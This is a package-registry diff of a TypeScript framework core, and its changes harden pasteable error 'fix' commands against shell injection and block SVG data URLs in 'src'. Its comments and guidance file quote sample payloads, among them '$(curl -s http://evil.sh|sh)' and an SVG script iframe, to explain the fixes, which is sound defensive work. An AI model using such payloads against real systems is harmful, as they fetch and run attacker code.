@ultimat3/core 19.2.0 → 19.3.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CLAUDE.md CHANGED
@@ -8,6 +8,8 @@ is a change to every package.
8
8
  | Deps | none (`bun-types` only) |
9
9
  | Errors | subclass `UltimateError`; never `throw new Error` |
10
10
  | Values in a message | `renderCauseValue()` / `renderFixLiteral()`; never raw `JSON.stringify`, `String()` or `${…}` on an `unknown` |
11
+ | A value in a `fix:` a shell READS | `renderFixShellArg(value, placeholder)` — `renderFixLiteral` answers DOUBLE quotes, in which `$(…)`, `` ` `` and `${…}` are still live, so it is the wrong tool for a command position and cannot be made right. An ordinary path or URL passes through; anything a shell would read becomes the placeholder. Reproduced: an unauthenticated `GET /$(curl -s http://evil.sh\|sh)` rendered that substitution into `x g route …`, the line the framework tells its reader to paste |
12
+ | Whether that value TRAVELS | `isFixShellSafe(value)` — the predicate `renderFixShellArg` is itself built on, never a second copy of the rule. A placeholder is honest text and it is NOT a runnable command: `curl -sS -m 5 <the provider jwks_uri>` is read by a shell as a redirection from a file called `the`, and `rm -f <the profile directory>/SingletonLock` deletes nothing it names. A `fix:` whose value sits mid-command asks this first and emits PROSE when the answer is no — `@ultimat3/auth`'s `jwks.ts` and `@ultimat3/scraping`'s `profileLocked` are the worked examples |
11
13
  | Rendering the 3-line format | nothing to remember — `UltimateError`'s CONSTRUCTOR escapes `code`, `title`, `cause`, `fix` and `docs` with `singleLine()`. Call it yourself only when you render a shape this class never built, e.g. a `Finding` |
12
14
  | A value a CALLER supplied | `describeValue()` — shape, never content. `renderCauseValue` is safe against throwing, not against leaking |
13
15
  | Reading a caught value | `renderThrowable()` / `isThrownError()` / `stringField()`; never `error.message`, `error instanceof Error` or `typeof error.code === 'string'` directly — the probe throws before the renderer runs |
@@ -164,6 +166,16 @@ the spelling the cache keys on — which is why the screen lives in this file an
164
166
  code has one declaration: `X_LOCALE_INVALID` left `TIME_ERROR_CODES` in the same change, or
165
167
  `registerErrorCodes` would raise `X_ERROR_CODE_DUPLICATE` the moment both packages loaded.
166
168
 
169
+ `secrets-errors.ts`'s four command lines are screened, `As of 2026-09-06`: `x secrets` takes the
170
+ app root, so `at` and `keyPath` are `join(root, …)` — data — and three of them lead with
171
+ `git checkout --` while `X_SECRETS_KEY_MISSING` puts a path INSIDE a `$(cat …)`, where a second
172
+ `$(…)` substitutes before `cat` runs. The path goes through `renderFixShellArg`; the variable name
173
+ is matched against `/^[A-Z_][A-Z0-9_]*$/` and a non-name degrades the whole line to prose, because
174
+ `export PATH; curl … | sh=` has no quoted form that makes it an assignment. `X_SECRETS_KEY_MISMATCH`
175
+ carries no key id in its command at all: the id is read out of the envelope of a file on disk, so a
176
+ newline in it ends the trailing `#` comment and appends a second command — the `cause` and `meta`
177
+ name it, and the `fix:` points at the cause.
178
+
167
179
  `secrets-errors.ts` registers its seven codes through `registerErrorCodes()` rather than joining
168
180
  `CORE_CODE_TITLES` — the codes and the module that throws them ship together, and `registerErrorCodes`
169
181
  is the one mechanism that raises `X_ERROR_CODE_DUPLICATE` if anything else claims one. Consequence
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@ultimat3/core",
3
- "version": "19.2.0",
3
+ "version": "19.3.2",
4
4
  "description": "Ultimate's foundation: errors, context, env, config, clock, ids, logging, telemetry, lifecycle",
5
5
  "license": "MIT",
6
6
  "type": "module",
@@ -37,6 +37,6 @@
37
37
  "test": "bun test"
38
38
  },
39
39
  "dependencies": {
40
- "@ultimat3/schema": "19.2.0"
40
+ "@ultimat3/schema": "19.3.2"
41
41
  }
42
42
  }
@@ -182,6 +182,51 @@ export function renderFixLiteral(value: unknown, placeholder: string): string {
182
182
  return typeof value === 'string' ? JSON.stringify(value) : placeholder;
183
183
  }
184
184
 
185
+ /**
186
+ * A shell-inert argument: alphanumerics and the punctuation a URL, a route path and an id are
187
+ * built from. Deliberately a CLOSED set rather than a list of metacharacters to reject — a
188
+ * denylist has to be right about every character every shell will ever read, and this only has to
189
+ * be right about the ones a fix line needs. No space, so a value is always one word; no leading
190
+ * `-` or `~`, because an argument starting with either is an OPTION or a home directory rather
191
+ * than the value it reads as.
192
+ */
193
+ const SHELL_ARG_SAFE = /^[A-Za-z0-9/][A-Za-z0-9._:/@=+,%~-]*$/;
194
+
195
+ /**
196
+ * The same value where the text is read by a SHELL. A `fix:` is a command meant to be pasted, so a
197
+ * value interpolated into a command POSITION is a value that runs: `x g route /$(curl -s
198
+ * http://evil.sh|sh)` was the rendered fix for an unauthenticated `GET` against any unrouted path.
199
+ *
200
+ * **`renderFixLiteral` does not cover this and cannot be made to.** It answers `JSON.stringify`,
201
+ * i.e. DOUBLE quotes, in which `$(…)`, `` ` `` and `${…}` are all still live in every POSIX shell —
202
+ * it exists for a value landing in JS or JSON source, where quoting IS the escape. Here there is
203
+ * nothing to escape into, so the value either survives being read verbatim or it does not travel:
204
+ * a placeholder naming what the reader has to substitute keeps the line honest, and the `cause`
205
+ * beside it already carries the value through `renderCauseValue`.
206
+ *
207
+ * Bounded for `renderCauseValue`'s reason — a command with half a megabyte of path in it is not a
208
+ * command anyone runs — and the bound is the same one.
209
+ */
210
+ export function renderFixShellArg(value: unknown, placeholder: string): string {
211
+ return isFixShellSafe(value) ? value : placeholder;
212
+ }
213
+
214
+ /**
215
+ * Whether `renderFixShellArg` will carry this value VERBATIM — the question a `fix:` has to ask
216
+ * before it builds a command around one.
217
+ *
218
+ * A placeholder is honest text and it is not a runnable command: `curl -sS -m 5 <the provider
219
+ * jwks_uri>` is READ BY A SHELL as a redirection from a file called `the`, so the one instruction
220
+ * the reader was given fails, which is axiom 4 inverted. A call site that cannot degrade — a path
221
+ * mid-command, an `rm` operand — asks this first and emits PROSE instead of a command when the
222
+ * answer is no. The predicate is the one `renderFixShellArg` itself is built on, never a second
223
+ * copy of the rule: the two can then not disagree about what travels.
224
+ */
225
+ export function isFixShellSafe(value: unknown): value is string {
226
+ if (typeof value !== 'string' || value.length > MAX_RENDERED_LENGTH) return false;
227
+ return SHELL_ARG_SAFE.test(value);
228
+ }
229
+
185
230
  /** `JSON.stringify` with its throw removed: did the value survive being serialised at all? */
186
231
  const canRender = (value: unknown): boolean => {
187
232
  try {
@@ -21,10 +21,12 @@ export {
21
21
  } from '../error-codes';
22
22
  export {
23
23
  describeValue,
24
+ isFixShellSafe,
24
25
  isThrownError,
25
26
  MAX_RENDERED_LENGTH,
26
27
  renderCauseValue,
27
28
  renderFixLiteral,
29
+ renderFixShellArg,
28
30
  renderThrowable,
29
31
  singleLine,
30
32
  stringField,
package/src/index.ts CHANGED
@@ -174,6 +174,7 @@ export {
174
174
  hasErrorCode,
175
175
  InternalError,
176
176
  isErrorRetry,
177
+ isFixShellSafe,
177
178
  isThrownError,
178
179
  isUltimateError,
179
180
  listErrorCodes,
@@ -185,6 +186,7 @@ export {
185
186
  registeredErrorRetry,
186
187
  renderCauseValue,
187
188
  renderFixLiteral,
189
+ renderFixShellArg,
188
190
  renderThrowable,
189
191
  resetErrorCodes,
190
192
  resetErrorRetry,
package/src/metrics.ts CHANGED
@@ -391,13 +391,20 @@ export function counter(name: string, options?: InstrumentOptions): Counter {
391
391
  export function gauge(name: string, options?: GaugeOptions): Gauge {
392
392
  const instrument = declare(name, 'gauge', options ?? {});
393
393
  return {
394
+ // The screen runs BEFORE the series is resolved, the order `counter.add` already had: a
395
+ // refused value must cost nothing, and `seriesFor` is not a read — it MINTS a series, one of
396
+ // a bounded number, keeps it for the life of the process and can trip the cardinality
397
+ // ceiling. `a.b += finite(…)` evaluates the reference first, so the two cannot be folded
398
+ // back into one expression.
394
399
  record(value, attributes = {}): void {
395
400
  if (!enabled) return;
396
- seriesFor(instrument, attributes).value = finite(name, value);
401
+ const observed = finite(name, value);
402
+ seriesFor(instrument, attributes).value = observed;
397
403
  },
398
404
  add(delta, attributes = {}): void {
399
405
  if (!enabled) return;
400
- seriesFor(instrument, attributes).value += finite(name, delta);
406
+ const observed = finite(name, delta);
407
+ seriesFor(instrument, attributes).value += observed;
401
408
  },
402
409
  };
403
410
  }
@@ -407,8 +414,9 @@ export function histogram(name: string, options?: HistogramOptions): Histogram {
407
414
  return {
408
415
  record(value, attributes = {}): void {
409
416
  if (!enabled) return;
410
- const series = seriesFor(instrument, attributes);
417
+ // `finite` first, for `gauge`'s reason above.
411
418
  const observed = finite(name, value);
419
+ const series = seriesFor(instrument, attributes);
412
420
  series.value += observed;
413
421
  series.count += 1;
414
422
  series.min = Math.min(series.min, observed);
package/src/safe-url.ts CHANGED
@@ -17,6 +17,9 @@ const SAFE_SCHEMES: readonly string[] = ['http:', 'https:', 'mailto:', 'tel:', '
17
17
 
18
18
  const SCHEME = /^[a-zA-Z][a-zA-Z0-9+.-]*:/;
19
19
 
20
+ /** The prefix the `src` exemption is written against — see `safeUrl`'s last branch. */
21
+ const DATA_IMAGE = 'data:image/';
22
+
20
23
  /**
21
24
  * The value to emit, or `null` when the attribute must not be emitted at all. An anchor with no
22
25
  * `href` is inert and still renders its text, which is strictly better than a live one nobody
@@ -45,6 +48,16 @@ export function safeUrl(value: string, attribute: string): string | null {
45
48
  // The one data URL kept, and only where the bytes are RENDERED rather than navigated to: the
46
49
  // framework's own blur placeholder is a `data:image/webp`. In an `href` a data URL is a document
47
50
  // that runs on nothing but is still a phishing surface, so it is refused there.
48
- if (attribute === 'src' && stripped.slice(0, 11).toLowerCase() === 'data:image/') return value;
51
+ //
52
+ // `image/svg+xml` is carved back OUT of that exemption, because an SVG is not an image the way
53
+ // the other four are — it is a script document. `@ultimat3/render` routes EVERY `src` through
54
+ // here, not only an `<img>`'s, so `<iframe src="data:image/svg+xml,<svg><script>…">` executed
55
+ // the identical string this function refuses one attribute over in `href`.
56
+ // `@ultimat3/storage` deletes the same type from its default upload allowlist for the same
57
+ // reason. Read off `stripped`, never the raw value: a browser deletes the control characters
58
+ // before it parses the media type too.
59
+ if (attribute === 'src' && stripped.slice(0, DATA_IMAGE.length).toLowerCase() === DATA_IMAGE) {
60
+ return stripped.slice(DATA_IMAGE.length).toLowerCase().startsWith('svg') ? null : value;
61
+ }
49
62
  return null;
50
63
  }
@@ -4,6 +4,7 @@
4
4
  // command that undoes it. No error here ever carries a key, a ciphertext or a decrypted value.
5
5
 
6
6
  import { registerErrorCodes } from './error-codes';
7
+ import { renderFixShellArg } from './error-render';
7
8
  import { UltimateError } from './errors';
8
9
 
9
10
  /** Codes `@ultimat3/core` owns for the encrypted-secrets file. */
@@ -38,6 +39,21 @@ registerErrorCodes(
38
39
  ),
39
40
  );
40
41
 
42
+ /**
43
+ * Where a path lands in one of these commands. Every one of them is meant to be PASTED, and the
44
+ * path is data: `x secrets` takes the app root, so `at` and `keyPath` are `join(root, …)`. The
45
+ * `X_SECRETS_KEY_MISSING` line is the sharpest of them — the value sits inside a `$(cat …)`, so a
46
+ * second `$(…)` in it substitutes before `cat` is reached at all.
47
+ */
48
+ const SECRETS_FILE_PLACEHOLDER = '<the secrets file the cause names>';
49
+
50
+ /**
51
+ * A variable name, and nothing else. `export ${name}=…` puts the name in a COMMAND position, where
52
+ * `PATH; curl … | sh` is two commands rather than a variable nobody declared — and there is no
53
+ * quoting that makes a non-name assignable, so the line degrades to prose instead.
54
+ */
55
+ const ENV_VAR_NAME = /^[A-Z_][A-Z0-9_]*$/;
56
+
41
57
  /**
42
58
  * No key in the environment and none on disk, while an encrypted file exists. Deliberately fatal
43
59
  * rather than a warning: booting without the secrets a deploy was configured with produces an app
@@ -48,7 +64,9 @@ export class SecretsKeyMissingError extends UltimateError {
48
64
  super({
49
65
  code: 'X_SECRETS_KEY_MISSING',
50
66
  cause: `${input.envVar} is unset and ${input.keyPath} does not exist, so nothing can open the encrypted secrets`,
51
- fix: `export ${input.envVar}="$(cat ${input.keyPath})" # in a repo that has no key yet: x secrets init`,
67
+ fix: ENV_VAR_NAME.test(input.envVar)
68
+ ? `export ${input.envVar}="$(cat ${renderFixShellArg(input.keyPath, '<the key file the cause names>')})" # in a repo that has no key yet: x secrets init`
69
+ : "set the variable this error's cause names to the contents of the key file beside it, in whatever way this shell spells an assignment — in a repo that has no key yet: x secrets init",
52
70
  meta: { keyPath: input.keyPath },
53
71
  });
54
72
  }
@@ -76,7 +94,10 @@ export class SecretsKeyMismatchError extends UltimateError {
76
94
  super({
77
95
  code: 'X_SECRETS_KEY_MISMATCH',
78
96
  cause: `${input.at} was sealed with master key ${input.sealedWith} and ${input.keyAt} holds ${input.found}`,
79
- fix: `git checkout -- ${input.at} # or point ULTIMATE_SECRETS_KEY at the key whose id is ${input.sealedWith}`,
97
+ // The key id stays in `cause` and in `meta`, and never in the COMMAND: it is read out of the
98
+ // envelope of a file on disk, so it is text this process did not write, and a `\n` in it ends
99
+ // the trailing `#` comment and appends whatever follows as a second command to run.
100
+ fix: `git checkout -- ${renderFixShellArg(input.at, SECRETS_FILE_PLACEHOLDER)} # or point ULTIMATE_SECRETS_KEY at the key whose id the cause names`,
80
101
  meta: { at: input.at, sealedWith: input.sealedWith, found: input.found },
81
102
  });
82
103
  }
@@ -104,7 +125,7 @@ export class SecretsFileInvalidError extends UltimateError {
104
125
  super({
105
126
  code: 'X_SECRETS_FILE_INVALID',
106
127
  cause: `${input.at} ${input.reason}`,
107
- fix: `git checkout -- ${input.at} # this file is written only by x secrets, never by hand`,
128
+ fix: `git checkout -- ${renderFixShellArg(input.at, SECRETS_FILE_PLACEHOLDER)} # this file is written only by x secrets, never by hand`,
108
129
  meta: { at: input.at },
109
130
  });
110
131
  }
@@ -120,7 +141,7 @@ export class SecretsTamperedError extends UltimateError {
120
141
  super({
121
142
  code: 'X_SECRETS_TAMPERED',
122
143
  cause: `the AES-256-GCM authentication tag rejected ${input.at}: the ciphertext or its header changed after it was sealed`,
123
- fix: `git checkout -- ${input.at} # then confirm the restored file opens: x secrets show --json`,
144
+ fix: `git checkout -- ${renderFixShellArg(input.at, SECRETS_FILE_PLACEHOLDER)} # then confirm the restored file opens: x secrets show --json`,
124
145
  meta: { at: input.at },
125
146
  });
126
147
  }